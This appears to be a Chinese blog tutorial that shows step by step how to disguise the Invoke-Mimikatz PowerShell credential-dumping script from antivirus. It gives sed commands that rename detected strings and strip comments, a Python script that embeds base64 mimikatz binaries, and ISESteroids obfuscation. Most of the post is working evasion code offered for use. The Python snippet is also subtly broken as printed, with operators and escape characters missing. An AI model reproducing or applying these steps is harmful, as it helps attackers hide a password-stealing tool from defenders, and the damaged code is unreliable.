再探mimikatz免杀

2021-08-25 10:16:04 浏览数 (1)

前几天看了tubai师傅的免杀抓密码,这里我也来分享一下mimiktaz的powershell脚本的免杀方法。

测试使用的mimikatz文件地址如下:

https://github.com/BC-SECURITY/Empire/blob/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1

首先,关于powershell脚本来说有很多现成的混淆工具(主流免杀方式就是混淆),比如chameleon、Invoke-Stealth、Chimera等等,但此类工具在混淆mimikatz时,或多或少会出现部分问题。于是我们这里手工对其进行免杀操作。

先对mimikatz的ps脚本执行基础的字符混淆

代码语言:javascript复制
sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\' Invoke-Mimikatz.ps1

sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1

sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1

sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1

sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' Invoke-Mimikatz.ps1

sed -i -e "s/-Win32Functions $Win32Functions$/-Win32Functions $Win32Functions #-/g" Invoke-Mimikatz.ps1

弄完后一些基础的东西就算是混淆完成了,如果你想更新mimikatz,可以使用下面的py脚本进行更新

代码语言:javascript复制
import fileinput
import base64



with open("./mimikatz_trunk/Win32/mimikatz.exe", "rb") as f:
    win32 = base64.b64encode(f.read()).decode()

with open("./mimikatz_trunk/x64/mimikatz.exe", "rb") as f:
    x64 = base64.b64encode(f.read()).decode()


for line in fileinput.FileInput("./Invoke-Mimikatz.ps1", inplace=1):

  line = line.rstrip('rn')
  if "$PEBytes64 = " in line:
    print("$PEBytes64 = '"   x64   "'")
  elif "$PEBytes32 = " in line:
    print("$PEBytes32 = '"   win32   "'")
  else:
    print(line)

此时我们的mimikatz并不能绕过杀软,我们需要利用powershell ise自带的功能来进行后续操作

先来安装该模块,命令如下:

代码语言:javascript复制
Install-Module -Name "ISESteroids" -Scope CurrentUser -Repository PSGallery -Force

安装好以后在ise输入

代码语言:javascript复制
 Start-Steroids

开启该模块

然后在工具中选择混淆代码

混淆即可,此时所有操作已经完成。

0 人点赞